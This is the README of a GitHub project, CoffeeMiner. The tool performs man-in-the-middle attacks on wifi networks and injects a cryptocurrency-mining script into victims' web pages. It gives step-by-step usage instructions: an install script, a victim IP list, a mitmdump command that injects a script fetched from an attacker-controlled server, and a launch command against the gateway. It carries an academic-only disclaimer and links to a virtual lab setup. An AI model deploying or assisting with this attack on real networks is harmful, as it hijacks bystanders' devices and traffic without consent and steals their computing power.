arnaucube
arnaucube/coffeeMinerPublic Self-hosted repository
coffeeMiner/README.md
README.mdRaw
 1# CoffeeMiner
 2
 3Collaborative (mitm) cryptocurrency mining pool in wifi networks
 4
 5**Warning: this project is for academic/research purposes only.**
 6
 7
 8## Concept
 9- Performs a MITM attack to all selected victims
10- Injects a js script in all the HTML pages requested by the victims
11- The js script injected contains a cryptocurrency miner
12- All the devices victims connected to the Lan network, will be mining for the CoffeeMiner
13
14
15## Use
16- install.sh
17```
18bash install.sh
19```
20- edit victims.txt with one IP per line
21- edit coffeeMiner.py, line 28, with the coffeeMiner httpserver IP:
22```py
23os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
24```
25- run.py
26```
27python3 coffeeMiner.py ipgateway
28```
29
30![network](https://raw.githubusercontent.com/arnaucode/coffeeMiner/master/network.png "network")
31
32
33A complete instructions for academic scenario can be found in https://github.com/arnaucode/coffeeMiner/blob/master/virtualbox_scenario_instructions.md